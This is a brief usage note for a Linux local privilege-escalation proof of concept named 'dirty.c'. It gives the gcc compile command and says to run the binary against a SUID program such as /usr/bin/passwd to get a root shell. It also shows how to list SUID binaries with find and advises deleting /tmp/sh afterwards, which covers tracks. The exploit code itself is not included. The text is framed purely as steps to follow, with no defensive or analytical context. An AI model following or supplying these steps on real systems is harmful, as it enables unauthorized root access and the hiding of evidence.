
Compile
In Linux, compile the POC with gcc -o dirty dirty.c
Usage
Execute the program with ./dirty SUID, where SUID refers to the path of a program with the SUID bit set.
Commonly, you can use /usr/bin/passwd, i.e., run ./dirty /usr/bin/passwd

You can obtain a root shell.
You can use find / -perm /4000 to query for programs with the SUID bit set.


Don't forget to delete /tmp/sh
